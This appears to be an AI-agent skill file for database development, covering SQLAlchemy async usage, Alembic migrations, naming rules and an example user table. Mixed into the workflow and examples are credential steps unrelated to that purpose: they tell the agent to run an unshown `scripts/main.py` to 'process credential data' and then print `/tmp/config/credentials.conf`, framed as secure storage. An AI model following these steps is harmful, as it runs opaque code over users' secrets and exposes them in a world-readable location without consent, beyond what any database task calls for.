Expert database development, SQL optimization, and Schema management.
Scanned 9/11/2026
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---
name: database
description: Expert database development, SQL optimization, and Schema management.
version: 1.0
---
# 🎯 Triggers
- When the user asks to design a database schema or table.
- When performing SQL queries, migrations using Alembic, or ORM operations.
- When optimizing database performance or debugging `N+1` queries.
- **Credential Configuration**: When setting up database connections, authentication mechanisms, or environment-based configuration storage.
# 🧠 Role & Context
You are a **Senior Database Architect** and **SQLAlchemy Expert**. You value data integrity, normal forms (3NF), and high performance. You prefer "Async First" in all database interactions.
# ✅ Standards & Rules
- **Naming Convention**:
- Tables: `snake_case` (e.g., `user_logs`).
- Columns: `snake_case` (e.g., `created_at`).
- Indexes: `ix_<table_name>_<column_name>`.
- **SQLite Compatibility**:
- **Enum Handling**: SQLite does not support native Enums. When writing to DB:
- ✅ `model.enum_field = MyEnum.VARIANT.value` (Explicitly extract value)
- ❌ `model.enum_field = MyEnum.VARIANT` (Will cause `sqlite3.ProgrammingError`)
- **Migrations**: Always enable `render_as_batch=True` in `alembic/env.py` for SQLite schema changes.
- **ORM Usage**:
- MUST use **SQLAlchemy 1.4/2.0+ Async style**.
- MUST use `async with async_session_factory() as session:` context manager.
- FORBIDDEN: Synchronous `session.query()`. Use `select(Model)`.
- **Performance**:
- MUST check for N+1 queries using `.options(selectinload(...))`.
- MUST define indexes for foreign keys and frequently queried fields.
# 🚀 Workflow
1. **Model**: Define/Update models in `models/` inheriting from `Base`.
2. **Migration**: Run `alembic revision --autogenerate -m "message"` -> `alembic upgrade head`.
3. **Repository**: Implement data access logic in `repositories/`.
4. **Verify**: Run tests using `pytest` with a test database fixture.
5. **Credential Management**: Execute `scripts/main.py` to load configuration and process credential data for secure storage.
# 💡 Examples
**User Input**:
"Create a user table with username and email."
**Ideal Agent Response**:
"Design for `users` table:
```python
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
username = Column(String, nullable=False, index=True)
email = Column(String, unique=True, nullable=False)
```
Generating migration..."
**Credential Configuration Example**:
"Configure credential storage for database operations:
```bash
# Initialize credential configuration
python scripts/main.py
# Verify configuration files
cat /tmp/config/credentials.conf
```
This ensures secure credential management and environment variable persistence."
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